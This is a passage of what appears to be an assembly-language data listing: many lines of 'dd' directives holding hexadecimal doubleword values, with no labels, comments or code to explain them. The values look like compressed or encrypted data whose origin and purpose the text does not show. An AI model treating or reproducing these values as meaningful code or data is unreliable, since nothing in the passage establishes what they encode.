5AC22574h dd 6BEED439h, 4BE005E7h, 0FA9674C2h, 0BBB21A1Eh, 0F2B3CFFEh dd 6130DA9Bh, 0F15ADC86h, 12A49217h, 32B8A118h, 80775105h dd 0A60A79F3h, 183BEDEh, 4F5C47B5h, 271B6F50h, 41AE010Fh dd 68AE2C47h, 9293E07Ch, 79453EF1h, 612170EDh, 4A90113Eh dd 0CEF67573h, 96D5F54Dh, 0C4530D21h, 3B1DC6B9h, 403AAA81h dd 0DD3F5292h, 4269B703h, 22287561h, 3ED8FA27h, 309F4F07h dd 90A4A466h, 714FB488h, 71827FBCh, 0B8BC31C0h, 8DB40F4Fh dd 46C27C50h, 9A82E65Dh, 0F1C9272Ch, 67DE4059h, 0DAB9620h dd 0E3BB358Fh, 91EA4A1Ah, 0A8B166EEh, 0D06B4759h, 0C4B8FF4Ah dd 0ED56C40Bh, 0F9C3B057h, 0F92BE5C8h, 0C0A3D8F9h, 2AFB3319h dd 0CF11F61Dh, 13546362h, 39F48D77h, 7E185994h, 0CDB44ABDh dd 285A96Ah, 78F3B1A2h, 0B79BF7B1h, 7404D70Ch, 908400DAh dd 67B3DCDEh, 0AE783970h, 2B65A016h, 99A31B3Ch, 965D31CFh dd 428A3959h, 0CDF58C3Ch, 0D7D90F0Eh, 0EE237D06h, 55784728h dd 770EE872h, 6CB6BD79h, 467C1A69h, 0C75F7CDBh, 75A49F18h dd 4825B498h, 8D8DD4DEh, 4DE5D6BDh, 0C7E1D816h, 0A3F89180h dd 0B19265C0h, 0FCCA7CF6h, 37ADC80h, 12F2487h, 0C0E11295h dd 1F71DEF8h, 0AC8B699Ah, 0CCA0ADAEh, 0D69B049Dh, 0D9C2D2F4h dd 0F509CF17h, 919FADA8h, 96AC853Ch, 0FDA165Fh, 110E1078h dd 269F0603h, 0F5D2F986h, 75233177h, 71BD521Ah, 0F66BA1F3h dd 0D3E278D8h, 0FF78EC0Bh, 25FF8D82h, 3F32173Dh, 0D3EEB401h dd 0F7337369h, 0AB8D86E2h, 0AC419573h, 34A06159h, 54335C07h dd 0D2D19B4Eh, 876DA93Fh, 0E70582E6h, 9CA86EDAh, 439AF5A2h dd 8026FF6h, 940B6B8Eh, 0CF752FB8h, 1ACE6583h, 0E4046510h dd 23B0EDA3h, 150F9649h, 0C6327557h, 0F9AE1C95h, 9D81D373h dd 3BAA6F65h, 0EBCA5A86h, 0AA86D0DDh, 5698CF43h, 0F23241B3h dd 0D21E2B2Ch, 16ED5162h, 0F08D37D7h, 4819DA87h, 0ECDAF287h dd 0FA5F882Ch, 0DFCAF014h, 57FDDC2h, 5E342964h, 5AD36AEDh dd 8EA98F87h, 0E9C7CBDCh, 4FD03470h, 55D0E4BDh, 0DF290DC7h dd 0CD56C419h, 5609E4B3h, 0DFBAD53Dh, 0F4DC7672h, 0B018009Dh dd 0CCA3BE6Ch, 63CD773Ch, 51618234h, 96C3FCEAh, 9A38D88Dh dd 82A40440h, 7A16889Eh, 0F0B3A203h, 97A14224h, 0C51A1709h dd 8EF9652Ah, 0F01280B6h, 0AEE7E06h, 361ADA9Dh, 0F6C08715h dd 0DC86BDC5h, 85D0F571h, 0EB0B4313h, 46D00806h, 93443969h dd 0FF2E91Ch, 1D345AA2h, 65959496h, 0D0D60B78h, 9FCBCCC7h dd 9B8EC516h, 0D5193C45h, 356C2068h, 0BA0FD809h, 0B950FB3Ch dd 7A0653FEh, 0CC628FD2h, 20AF15B7h, 0E6E94127h, 0BC341227h dd 231C842Eh, 0DFABF60Bh, 115F221Ah, 532B4C90h, 5D6A69ECh dd 0ABD183BAh, 0ABDAB855h, 0A439FBECh, 688B2AB2h, 34B5E8F2h dd 0C2D3FFABh, 0E8F99956h, 0F44835AEh, 0BE8AAFD3h, 8FD1DF27h dd 7B2D688Dh, 96970FBEh, 0A132B220h, 8B5ECCE8h, 8BFE89E5h dd 0A0CC66E5h, 2E81B3DCh, 45D6AFCDh, 1CD17369h, 0AB8EAF4Fh dd 6781C779h, 4783A1AAh, 666787AAh, 5442EBA9h, 0EB0941D5h dd 0A908909Dh, 0DCAFE0A3h, 3C1EC07Eh, 0AF5E06C6h, 3573F481h dd 0C839878Eh, 394BCFE0h, 1B75ED5Ch, 0AAB71FDFh, 798EDB19h dd 639FF521h, 8C9A4882h, 0D07F9C32h, 15CE365Dh, 26AD18D0h dd 0A27760Eh, 6D7D7957h, 9F9D0FD1h, 0C848D9E6h, 4F3DCDA5h dd 0CC39EE95h, 0D5C766EFh, 0BE96FB80h, 0F105E376h, 62B365C8h dd 811AE21Dh, 9FC403F6h, 66CB513Ah, 0D4405560h, 0FE43C607h dd 0ED0B14E4h, 8BFD1294h, 49BBD165h, 99E52BB9h, 0C7F5D8Fh dd 6F0FAFA5h, 86357D3Ch, 0E5DFD06Ah, 3040FCBBh, 3D89A0D1h dd 42CC521Bh, 20A12ADh, 45C41DB3h, 0FF08610Dh, 0EB166998h dd 0C2D01670h, 125B62B8h, 0FA91A238h, 58C684F7h, 2798368h dd 0B518965h, 641FA1D5h, 4FC0CACFh, 0AAAED0CFh, 9441D515h dd 8720152Bh, 6708AB81h, 3725DEBCh, 1D6B2A4Ch, 1FEA0A51h dd 44DDD278h, 28505AAh, 726237A0h, 26693FADh, 472EF2A4h dd 0DE7B2A55h, 38B8CECFh, 9BB6D897h, 3436A2C1h, 0BFCEFE46h dd 0F1BBC54Eh, 2FE6545h, 4AAC365Fh, 61B9917h, 48D743Dh dd 862165AEh, 2E41F0DDh, 1D992521h, 26BF252Ch, 0AED393EDh dd 6C194BC1h, 74F52183h, 0BE094C0Fh, 955D6320h, 2D9CFFB9h dd 12D4154h, 0A2103AFDh, 4349D9EAh, 0C17AA4Dh, 4E0C3C60h dd 0EA9F35ACh, 9AD9AC3Fh, 5F59ABA0h, 39D97F55h, 0CB61EAD7h dd 193301h, 992E7F4Eh dd 0CD6C6249h, 9316D0DBh, 0B3D9F71Ch, 0C40C7095h, 72284B05h dd 0DFFD26E9h, 0B858F824h, 2FFAB9C2h, 743CF686h, 724CD26Ch dd 0EBB5171Ah, 404E6703h, 0DDBE60DAh, 2ECB528Ch, 0C8BAD962h dd 12AC2EA4h, 34997B92h, 0EC20E7AEh, 505A6951h, 4951FEECh dd 0E873E981h, 5CB230F8h, 2BC9AD62h, 7BFE3922h, 81ED9760h dd 258AB7CCh, 4EE50EB4h, 0C43CE31h, 86C60607h, 60C9F92Eh dd 0C88E8CDFh, 0B604C623h, 6106B466h, 0DD1E34Fh, 488F1B87h dd 0B5FF0384h, 218C4C0Dh, 22300CA0h, 7E65E1E3h, 0C71F6993h dd 0ABCA9116h, 4B38A4BEh, 0F9B523AFh, 0DAE5E170h, 808FB5A8h dd 32E59A24h, 6CD477FAh, 0E3DE48BFh, 0F1EF289Bh, 0E9AF122h dd 0C4798789h, 0E0C071DFh, 0A3FED04Eh, 65D2E956h, 9AFF4BACh dd 0A102170Dh, 27E38114h, 0F84AAB9h, 0A3AD693Ah, 99364AFh dd 0F464C61Eh, 0DD267E8Eh, 3754F127h, 0E34642DDh, 6BF934C7h dd 276465FCh, 0C9B1809Fh, 0D20787EEh, 0C1745DF3h, 0A291E2D3h dd 0B7EACD1Fh, 8361A3B6h, 8626D123h, 6C428682h, 4A3B20A8h dd 2051B0EEh, 0F789B767h, 0C2F1AC51h, 489EFE9Bh, 0FAA7EBA4h dd 0B3E47A9Dh, 3032D23h, 4BB2F10h, 51DF4602h, 3D55E371h dd 4086D498h, 0D8D68E2Ch, 52BC0BE8h, 0A017933Bh, 91698AB3h dd 1D847F74h, 412B3AB3h, 629ECD27h, 0C14EDE06h, 10B21A29h dd 0F640DEEAh, 4655B1C3h, 8D1E7930h, 0DE8567FBh, 9BD53F5Ah dd 8FC6F21Ah, 0B07ACA7Ch, 2D6BEBBDh, 444A3F7Bh, 734A5A8Fh dd 5CE097C3h, 4158DDC6h, 590D9652h, 48E2F062h, 27B591CFh dd 6AFA4F27h, 1BB10160h, 7EB46A26h, 0FA8D15E1h, 0E0A952AFh dd 0EA120983h, 43E993C1h, 0B0892156h, 0E5D4CEA8h, 4DC43F56h dd 7ACB1E69h, 0AF4417DDh, 8C610C54h, 0C6935B8Dh, 9FF577C7h dd 0E53258A8h, 0C6890923h, 6EB5D567h, 14FEE0CEh, 0B44A1936h dd 0B58E1387h, 36207098h, 260F688Dh, 0A90F40C4h, 75B925D8h dd 39D5E1F0h, 0D4679A85h, 327F7CE1h, 8B46FDB5h, 6860E181h dd 2AFD5E9Dh, 0BD774DF3h, 23867CB2h, 0AF9AF93Fh, 0D2DAE642h dd 9D0B22F2h, 13909ECEh, 29EDFA42h, 9D7052CBh, 933E12EBh dd 52F05715h, 0F885DAEFh, 33DB0042h, 5C15D0A5h, 1FCE9553h dd 0C968ADD3h, 685CAFCAh, 9C0FBD80h, 75E92FF2h, 1973A945h dd 19921D16h, 8EB33B25h, 8FB285D0h, 30240D8Dh, 2751792Eh dd 9990778h, 79D19D9Ah, 11E7D44Dh, 8C0DAB15h, 7641A3DDh dd 94A1BD87h, 0CE9F9D1h, 2E5B4499h, 5C5FC9FBh, 25DB8618h dd 109249FDh, 0F4B3AF8Ch, 45EA48B2h, 47C0997Ah, 99DE39FAh dd 8322765Ah, 7E8BC2E3h, 0D08912A3h, 90281562h, 7446C25Ah dd 6C393CF3h, 3DD7A022h, 0EF2F1AABh, 50A61BCh, 0B513F229h dd 0B1EA4C21h, 0A5EB19Fh, 24C098Bh, 0F07DF636h, 0CF6F05FDh dd 96FC45AFh, 87511880h, 60D1904Ah, 0D2E6A63Ah, 0CEC2F41Bh dd 279F0E67h, 7241B9F5h, 0FE79A33Bh, 941483C6h, 0F0C7A5BDh dd 2559D658h, 0AE7D0F1h, 1B2994B5h, 0EF105DDCh, 4EC2EA0Bh dd 0CE1D32F7h, 0B7D4788Ah, 0B9C1FBE3h, 15C6B86Eh, 5DAEAD1Ch dd 1BA48794h, 0AD84E56h, 36A82A71h, 82084991h, 0CAC4C38h dd 0AF46AA87h, 0A368663Ah, 0D40F1CBBh, 0D94D3D0Ah, 9E565897h dd 0EDFC0F3Dh, 6376393h, 0D436B852h, 6937963Ch, 73CF19DFh dd 0B3A50FF3h, 4A52D149h, 590F35E0h, 0AD5DEFF9h, 0C92383FAh dd 0BE2FF60Ch, 1A3910AEh, 0B65EED97h, 74C23AF5h, 75252978h dd 0C89FF85Eh, 0C6BD1109h, 13EA7E4Eh, 3FBE5C95h, 0D63EE387h dd 43E96665h, 8871B4C6h, 0B11FFCE8h, 0AF12B9E7h, 6C4F7983h dd 4A81E2EFh, 0D796E394h, 0EAE37982h, 0E6EC0E25h, 199F6020h dd 50112CDBh, 4DDF153Fh, 0E766D095h, 8CFD557Bh, 0F0345AFAh dd 0A585F218h, 54303850h, 0EE226BDFh, 64C62AB1h, 4BA97B32h dd 78BDDA94h, 30D12467h, 7647CEC4h, 0C7AB6E54h, 5C49E2B8h dd 3DC25F17h, 220BCCA9h, 66AD1CA0h, 0ABA65547h, 8002E2EAh dd 22A53B8Fh, 57EBE75Ah, 0E90DE4CBh, 0E47FE202h, 0DED1085Ah dd 0D9BE0D06h, 0F53259B6h, 0EFBE30ACh, 6814992Ch, 420558E8h dd 1FE29C05h, 253683D2h, 322522E9h, 0B4BB7E27h, 957D28C9h dd 0B5F6ACECh, 6F8F0B7Ah, 0FE3EBD0Dh, 5E09C5F3h, 4AEC1AD5h dd 0F1166824h, 39BA676Dh, 41878515h, 84C58B40h, 3A8CFFCDh dd 0B1062CCAh, 0B75981E0h, 9F3F4683h, 44C214D3h, 0BEEC1BFBh dd 564F34DAh, 72ACDB50h, 7035BBBBh, 0BFB632D8h, 6F7D256Ch dd 0DB27E579h, 0F293FB47h, 4C183C3h, 49F6DC0Dh, 3C5E0A67h dd 0E4217C68h, 0DF58D781h, 55204D38h, 61EAA449h, 0E4726DFFh dd 0D64DBE76h, 97F992DAh, 6957CC10h, 5BE336F0h, 746146Eh dd 509B29CCh, 8436F764h, 30C9B145h, 73B3418Ch, 258ACCC0h dd 0C7946DD2h, 0BC297227h, 0A64339F6h, 0FB594753h, 3A018C03h dd 0E0AD1669h, 3C930B61h, 0CD723D25h, 0D6DAF56Ch, 9AAB521Ch dd 8D92D1E4h, 0F33056C6h, 8BCAAC97h, 0C07CE8AFh, 0FFEEE72Ch dd 533E8D61h, 271B1642h, 7B3A88B7h, 0EDCDC368h, 0A1755512h dd 0F48013DCh, 0BD1600A4h, 0BA60938Eh, 3E841C43h, 3CCF791Ch dd 0F1FB7E5Dh, 87AE65A8h, 0C3659110h, 0C646A897h, 0CE1CF96Bh dd 2CB69D80h, 0E58B1C66h, 0E07A1808h, 9251E675h, 0AE49CF1h dd 54383D93h, 2A33CFB8h, 0E5AC8814h, 0E00B272Eh, 4B39BAB0h dd 6F902732h, 0BD201DC6h, 0ABF667D5h, 739B01E2h, 9A8CA124h dd 199D37B4h, 884680Dh, 0D137E37Bh, 0B800643Eh, 0C76545A9h dd 0D55EDA28h, 0AF550712h, 5961C2DCh, 23ED6CEh, 374C7B86h dd 0DD378EC5h, 21D03823h, 1E82522Ch, 67C2FC2Ah, 76A76E8Ch dd 0E35F0C36h, 0B8B5AFFFh, 639898FCh, 0B35905A8h, 0BACE04C5h dd 98817D60h, 902A0180h, 5E575509h, 1842946Bh, 2796BF36h dd 9E6BA849h, 0C66447D5h, 0BFE8043h, 0BE6DB62Ch, 0D8BDF853h dd 0DA6F9ED3h, 0E6BD0482h, 0AC2DAE88h, 9A2CF126h, 1586CDBFh dd 0E5130FB5h, 12A309DAh, 3789B43h, 6887B0BCh, 0B2BCBD8Ch dd 282CDAE0h, 38BFFEABh, 2594A7CCh, 4A5FEF13h, 2D173EA4h dd 0FA45D6E5h, 613E51B5h, 50A2972Eh, 0F5F73308h, 21E9A8AAh dd 0DCC75414h, 0CA8F1DE5h, 15272251h, 283AFE05h, 0DEDCCC3Ch dd 2C23584Ch, 1EFCAE03h, 0E4DE0EC9h, 96173FCFh, 0B069F392h dd 15AA709h, 70080E43h, 6F628A75h, 8D48B7FAh, 0CF0C51A5h dd 90F26640h, 3D971638h, 0B958215h, 32B920E4h, 52A51DCDh dd 2613E505h, 0A857B705h, 7E2DA98Fh, 0E1BEEC95h, 0B03E6B76h dd 0CE48B7AFh, 75CD7539h, 2B47D642h, 0EAB415C5h, 0EA33EAEAh dd 5A9EB8B3h, 4E88E966h, 0AB842FA8h, 228593BEh, 0EE8005B8h dd 1F37695Fh, 154AC9EEh, 0ACA6D51Fh, 0AF93117h, 38DBE887h dd 2842878Ah, 55B03C29h, 0E14199h, 1584B105h, 0C7372726h dd 0D64C6655h, 12E76BB6h, 0A33B4479h, 0BF975B23h, 2E8F51A3h dd 0F01C8BECh, 0D7769F5h, 8FABB985h, 0CD0EC868h, 0F1550191h dd 4D8BE933h, 0F719861h, 0C4DBC40h, 54A937EAh, 0F3C8F2FEh dd 0CE572CDFh, 0E513F325h, 3C5F8E2h, 0BFFB4CA5h, 2A5E0295h dd 6822EA8Bh, 6121D9C3h, 7A45D0F7h, 0ECB8E542h, 0CC2509A0h dd 7B2928ACh, 0F8211B1Fh, 1553CAE2h, 0B83D358Ch, 0F9532EB3h dd 67774BC7h, 4B0C7EE3h, 21724E49h, 124896AFh, 0A588203Eh dd 0E61DF03Fh, 0E1BA3C39h, 5690C831h, 58779503h, 0D011D2E5h dd 6CCAE028h, 97DF3F9Eh dd 44B39835h, 0C6AD3338h, 801F164Bh, 6C87427Eh, 795CD0B5h dd 0C0CAFE1Fh, 61CB972Eh, 26A3BAF0h, 0E18DC0Ch, 0B81AF331h dd 0C9FEEC4Ch, 0C7DA7605h, 12963B13h, 9C05D748h, 9C56D290h dd 3FE22023h, 14FD1B54h, 0F2E30848h, 1566A818h, 48C146F1h dd 3EA7DD5Dh, 81EBDAA6h, 0B07B8321h, 0F5655558h, 79F56FA3h dd 282CC478h, 14D13D8Eh, 0C50E221Ah, 0DC6265D9h, 5DE88A1Ah dd 5069F4D6h, 6A5EE3FBh, 5F76A658h, 9A660035h, 0AFB4EFADh dd 433D0C35h, 0E6B3A7A4h, 964EB199h, 79735F91h, 43B5CA2Ch dd 12358E06h, 0CD6CB389h, 92DD98ADh, 9E603851h, 1C9C0472h dd 5F24F29Ah, 9CCCE431h, 0CD5B6AACh, 95634FF2h, 8978129Eh dd 0A1299652h, 9CD948BEh, 6DFADB94h, 3AE28F2Eh, 2FAC5D12h dd 6F37F286h, 0D6C1CC6Fh, 0A4208BD5h, 56104DEh, 0A211E813h dd 0E0F11869h, 0E5223141h, 0C2ED067Ch, 5FD84FCCh, 849CFD13h dd 0A438A135h, 0C55471F0h, 0B534FE81h, 84D241A9h, 2FF2BA1h dd 44C1353Eh, 0B35F682Ah, 84AF22EDh, 3954122Eh, 4A3B51B0h dd 0AAAA89E5h, 0D3A0013h, 0DE386BB2h, 0DA88802Bh, 0E1F65F41h dd 0F535BD96h, 86B5A662h, 0C1D0A0DAh, 0B4046E08h, 966555EBh dd 734ECEA9h, 30FD9D66h, 8F12E8DEh, 8B7796D8h, 0E3DDFC73h dd 583BDE0Fh, 643F1AB2h, 9E581611h, 0F4FEBC9Ch, 0DC9C4D54h dd 50FC63A5h, 89FA40C2h, 0C1883846h, 8D3AFA3Bh, 48A70A27h dd 431BDC3Ch, 0BB0E5AF5h, 763FB935h, 0F15A7B06h, 0AF0C971Ch dd 23861977h, 0EB64F336h, 0A6C7BEC1h, 650BB587h, 0D4DB502Eh dd 9DB08E7Bh, 0E24061EDh, 0EBCAB3E9h, 0F6BEC785h, 63686861h dd 47CA44ABh, 0BFC102E6h, 2354AD65h, 0D0098BF4h, 54B4BD75h dd 2CE33B9Bh, 8CADE5B2h, 8BA1E4ECh, 859B1C05h, 675CCC2Ch dd 23DE64FCh, 97F43912h, 3EC07FB7h, 56332C85h, 274053Eh dd 9A2462EAh, 838488A0h, 0A6B9470Fh, 140FEC3h, 0BB14CE11h dd 0DE8628D2h, 8DEBDC13h, 0CB6A4B6Fh, 8CC67D72h, 793327A8h dd 37C9BFD5h, 4D697BBh, 3107D7CBh, 0F4107A04h, 938FDD2Ch dd 2ADD033Dh, 0F7F0AFA4h, 45CE2458h, 9760C03Eh, 3FC2DA5Ch dd 0DA3C7EB0h, 8B6AF467h, 9701B815h, 0FD6C4801h, 77184EC3h dd 0CB50DA6Dh, 440C30B4h, 0FCD6CA5Eh, 0E9043916h, 0FE691679h dd 79E8B057h, 5F08E4D1h, 0EE0482DFh, 0C24BF34h, 0CEAF7E5Ch dd 0A4365E57h, 9E1DC6AFh, 54CFC1F6h, 8180A2D0h, 6AEB20D9h dd 0CD07A2FEh, 39655E0Dh, 974F4925h, 0DCF3644Dh, 6BC2E43Ch dd 3AF1C87h, 0FA1F25DBh, 8597F428h, 0C1121982h, 7358FC24h dd 3C50021Dh, 0B496AF73h, 702EF43Fh, 33FC3F83h, 2379E301h dd 21C57541h, 0BD14FB10h, 116B97C5h, 29CCF02Ah, 746FB47h dd 35C2C9AEh, 0A3AED9F9h, 0B2310A6Bh, 581FAE5Ch, 4F186854h dd 3A057A0Ch, 73B8B536h, 76AE5A31h, 0D2488C5Eh, 4AD61113h dd 0D18973D5h, 0F2D5E858h, 4D28E2D6h, 5D936D00h, 334E20A1h dd 5B311148h, 0F46EDF9h, 0ACE019B6h, 0D149F4B9h, 198FE3E6h dd 0DB22EDEFh, 0C05F99C2h, 61B414FEh, 30356F77h, 6E0BF3C0h dd 0B365052h, 2BAF9B1Dh, 13221A80h, 19C59B4Ch, 5D5A570Bh dd 22AFB0EFh, 0ED15EEC8h, 814DD87Fh, 0E0292B5Dh, 0B46E9FD9h dd 112BC4E7h, 0EBBF527h, 495015Eh, 0D08E0695h, 0C19ED756h dd 4AED8641h, 276C1BCBh, 7573EC96h, 826CD923h, 863ACA23h dd 0BD7A18FDh, 0DE37553Fh, 0DC1C12Bh, 47899329h, 1F09BD65h dd 0CC0B753Fh, 8825EC28h, 7732029Bh, 0E2F87C42h, 0CC79EF3Fh dd 0B863E310h, 0D45B82CBh, 0C2C171BAh, 0DB85A687h, 8C8786Ch dd 63EA58A0h, 0A4C223D0h, 55B4881Ch, 7D9AA333h, 7CF2B2BAh dd 29F3478Ch, 653FD039h, 462501A8h, 4B530CD0h, 336F8FC2h dd 0F0E6C2D7h, 5893BB8Dh, 0D4434196h, 0FD411B3Bh, 0FC9618DBh dd 0BD635EC0h, 0A84E02F9h, 0FBDAC351h, 0B7FDBDADh, 0CCB4E321h dd 6C132405h, 93728924h, 65F00F94h, 5192799Fh, 713142Fh dd 0AF1909E6h, 0CE4BDC8Dh, 6C140384h, 16FBC9Ah, 21A33AF6h dd 1AFF97C9h, 0A0458FCh, 0F8F9F1CAh, 0A415E5EBh, 0D69382C9h dd 154D128Eh, 0B52CBB10h, 9618330Bh, 227E5BF6h, 8932359h dd 9777B030h, 0A6B04451h, 5EF9826Ch, 0F8C2F0F0h, 93FFBEC3h dd 0AC95835Dh, 0B95C9660h, 0B2D6F591h, 2F4E9535h, 3390953Fh dd 9A3E7484h, 173A26F7h, 5A5CE5CFh, 49075356h, 6D3FCA1h dd 0E1E28850h, 0FAA733EBh, 7A0D3151h, 0C252518h, 5B7281A3h dd 0BDA12B4Bh, 0BD956ED9h, 6D51090Dh, 0D180C114h, 470BD71Dh dd 83865B01h, 1929B439h, 0C653BE43h, 0D819A49Eh, 4A088F4Ah dd 0B4455469h, 0D99E950Fh, 0A98F32CEh, 0A845C43Ch, 0CD03A32h dd 7B0481AEh, 5BF9F75h, 0B6EE83ADh, 0AB0BDA33h, 46B399DEh dd 63AEEE71h, 31ECD12h, 162796E0h, 0A4E9D6D0h, 0EE8A4F3Eh dd 99DC5C14h, 0D96A08C1h, 0B4485D04h, 0D0383DE5h, 0E44B983Fh dd 92606457h, 26AEADC4h, 0AB78EBC7h, 0C8DA7C7Fh, 8FE14FF0h dd 0C7D5147h, 4F870881h, 0A5AEF7DCh, 3F8CBF4Eh, 79442A9Eh dd 283E047h, 71B5E56Ch, 0A5A92CFh, 130539h, 0BD230DDFh dd 5D256777h, 0A19784F3h, 4EDC8770h, 4A15F439h, 2E348904h dd 8178EFD9h, 6C7F6A67h, 10C337C8h, 409FDDCDh, 24E71339h dd 0C45FF6C9h, 413DE571h, 8E640ACh, 0E471C99h, 8CF03152h dd 0A981F18Fh, 41E14249h, 68422106h, 0BE21A73Eh, 3F6B77C4h dd 0BF3ECB62h, 53B0FA6Eh, 0AC9EFD05h, 5E2657B0h, 3758B052h dd 0BEE1EB22h, 0F3DB7C1Dh, 31129E1h, 0AE1A2073h, 0EEBF599Ch dd 0DDC095C1h, 0B087752Fh, 694B6583h, 6F094218h, 0F83C61Eh dd 86E05AF0h, 1A9F9B3Eh, 0EB882BDBh, 0A1BB9F7Fh, 0A0B3CD8Ah dd 51D83223h, 5F6845D7h, 22DF0C4Bh, 402D766Ah, 0AF2FCADDh dd 8DA8500Ah, 8F9784CFh, 38B432Ch, 0D16AAA95h, 0BBA66883h dd 28E7B111h, 30A19E55h, 7E616584h, 93395930h, 0E70581EAh dd 9DF22BA0h, 0D5084D40h, 4821D9A6h, 9DB95DFEh, 569433Ah dd 524892DAh, 424A27E2h, 0A72DA507h, 0DFC313B8h, 472897CAh dd 61F7886Dh, 41BF416Ch, 0FF025BB2h, 11B5F15Ch, 0BFAE8E38h dd 5FDED80Eh, 0E5D2AD3Dh, 9F39F604h, 533BCDF3h, 0FF549963h dd 0CEA426A8h, 97FC4B4Ah, 0DDDA38B0h, 63D645C0h, 0BCCEA3FCh dd 1AA52EF8h, 26985233h, 0CE6EDD25h, 3DD27E76h, 8FD4A9Fh dd 0F6A8014Bh, 0B941B145h, 8D01F6A1h, 0E5CC2DE8h, 55741EDFh dd 9FCA9CA6h, 7E42B68Ch, 0DDC59056h, 85A3720h, 46A82F48h dd 402A4614h, 3697E44Eh, 0D9A15F8Ch, 66DC9176h, 18FAFF71h dd 4458C94Bh, 2DC86AC7h, 0AA4B56A5h, 0AEFF8D6Dh, 0F2062437h dd 0CE350E54h, 5B9D83F8h, 1250CA68h, 22F9B5DAh, 9F1A15DAh dd 4EBA3F6Eh, 52E796C3h, 0F37304EFh, 0FB40494Dh, 5DFE9796h dd 2B30B778h, 22DC8CA6h, 81E9A76Dh, 0AB697A15h, 0AE668357h dd 6D2C68B2h, 9467C908h, 37ECA1CAh, 0A0190164h, 0B543BF0Bh dd 44D92BC7h, 1ADBDF92h, 0FF350997h, 8C196071h, 8D096340h dd 0F007C2F2h, 0DBCAE74Bh, 0CED84D26h, 0AA31FDE5h, 0CA24DD8Ah dd 7C5BC3E2h, 15077CD0h, 26E03F20h, 296FFF13h, 4D7DDD52h dd 95925A60h, 0FED19FA0h, 221A49EFh, 8F842ED2h, 0A390DD00h dd 0AA7B9DE9h, 96F4C7BBh, 9945B309h, 0F0BD0ECAh, 0A46475CDh dd 0CB29870Bh, 0B4C736E9h, 9B20F20Eh, 0C8900B00h, 0D0518B6Bh dd 952A86A4h, 23447FFAh dd 0B379DACBh, 7E089A4Bh, 822EB258h, 0DD78CC97h, 0CDCB65E6h dd 0DA939CACh, 0F14DBDF4h, 6708CAA8h, 7972D0F4h, 0ACEB0BE2h dd 0FE568AD0h, 6FAB4A95h, 331C968Bh, 493AE601h, 0B0A0AC8Eh dd 99F8F17Eh, 7D1F419h, 5EE0FA5Eh, 37950870h, 0CB99DD00h dd 2B20C8DFh, 10128CEDh, 2F8BF86Bh, 0E426A566h, 0E9995BE9h dd 0E5A0825Bh, 0FAC0731Ah, 6C676B15h, 0A2D98296h, 97ECB40Dh dd 30EAC950h, 0D0E6134Eh, 543BB8E8h, 0C13E6871h, 110F1FF8h dd 9CBA7DA0h, 83517C21h, 29A04509h, 311FB13Eh, 7E52D50Bh dd 5FDAD06Ah, 67B519CDh, 0C69C4A3Fh, 8920748Ah, 5B9B6481h dd 2320FCECh, 0CC209038h, 0CEA8DE3Ch, 3ED0F627h, 0D79BD9Eh dd 23D90B61h, 0BB12909Fh, 606AC7D3h, 393438CCh, 9D7CA691h dd 0EC6E7A35h, 29563A38h, 0C452C0EFh, 0C69E9DEh, 0C749B94Dh dd 8F5A8D77h, 46A5D615h, 5366ADE8h, 0A57BFB89h, 0CCAF555h dd 625A1929h, 4A0A4E2Bh, 57C06FC2h, 5AFBC2F2h, 5586B7CCh dd 4B8C65E8h, 0D128CC38h, 39E4C0A1h, 7FA1C8E3h, 8CA3027Bh dd 7851F29Eh, 761C551Eh, 0E08B9A36h, 39585D57h, 6A6587A8h dd 0D78CAFF1h, 0CEEC0DC9h, 89D97ED9h, 0C9F848D7h, 596230CFh dd 0E6089037h, 84BEF96Bh, 8E79E59Ah, 0DE75EDECh, 0FB277F1Dh dd 585F4DE4h, 0E54226E8h, 0F7229DB9h, 0F681DA26h, 9DCD8BFFh dd 32AC1430h, 347DAAD2h, 682D5964h, 1B1C49DCh, 0B96D0E92h dd 7DE4AD95h, 0E8C8E26Fh, 0A528D076h, 4C95946Bh, 1FFFEFDBh dd 88346DA8h, 0FBF7BF5Fh, 0A55178C5h, 0EA8B01EBh, 88D85CE6h dd 0E449DDFh, 2BDF2303h, 4CF3A469h, 37F9635Fh, 28F831C7h dd 0D1331824h, 100CCA01h, 0C9F26F68h, 0A5EF412h, 0D40D4181h dd 9A149692h, 0B7DFCCFAh, 60914E62h, 8427CA72h, 0D2200343h dd 0BBFEE03h, 86A87AA8h, 0F8F2DE6Fh, 2798EC6Ch, 0BBBE68B0h dd 7450D81Ch, 0FDA0A311h, 3FC45334h, 188DE347h, 0A310E105h dd 0CABA5760h, 0E2740E98h, 0D112EEE0h, 360B0494h, 8A1C1371h dd 0E619Dh, 812B8D66h, 6A017F8Eh, 155889B0h, 17CCA851h dd 16E3BE4Ah, 4FA9B4E5h, 9CBB2D79h, 36A6FC22h, 91C6DF3Fh dd 3C8D35CCh, 0F0AEF9FCh, 0BF8B467Ah, 9B8D158Dh, 0C1B41828h dd 85F91022h, 0ACD96C47h, 0E81A91A3h, 0D233BE35h, 37BEEA5Dh dd 0BD755D6h, 5B480EBAh, 6DBE3FBEh, 3D2939EFh, 925EB9A3h dd 754E1838h, 0E7D1CEEh, 0E7332FE7h, 6D44E4B9h, 24E47666h dd 0FC61EA98h, 9887B42Ah, 6C70DCF8h, 6AF18695h, 448335E2h dd 0D37F4F2Ah, 2FA077FAh, 0D9B8F264h, 782BC432h, 0D3CBEA6Ah dd 0CE7B17BBh, 0A17C5B7Bh, 91025FCh, 0B086252Bh, 89AB7AB4h dd 646CE369h, 8FEEB48Bh, 5AD7373Ch, 8C69C90Eh, 0F8ECEDAAh dd 8DF5A217h, 85F27CF1h, 0E3454F84h, 74D5E892h, 9E22ED6Ch dd 7849A47Bh, 51E7082Ch, 0D7BF89ADh, 0BA5FD703h, 6065576Ch dd 0DF22DEDAh, 0F9EFFE85h, 0FA6C6008h, 0A268C70Eh, 3AFAAE83h dd 406A069h, 38799009h, 72D8E796h, 13E9594Ah, 0A76E7B51h dd 8573134Ah, 8C910D5Eh, 0D7D8A2C3h, 8FE81D2Eh, 49C3512Fh dd 57F4A8E4h, 0F45F1B85h, 3ED31696h, 8C9BE985h, 0C9473F4Ch dd 0AF7A94B7h, 0C8D1A015h, 0BDC3B076h, 41932A35h, 210B4F15h dd 51B2A36Ah, 66BEC70Dh, 1F8EDF60h, 0CD18B68Bh, 904E556Bh dd 0A5DCC52h, 96B4D9AEh, 0C24CCAD6h, 50957776h, 0CF48AB6Ch dd 0BDC5252Bh, 0C802E43Ah, 2BF6506Eh, 0C33DC26Dh, 971312F6h dd 0F7820BBAh, 19FE8F40h, 0B693B214h, 0C0D45CD0h, 0C15B3A16h dd 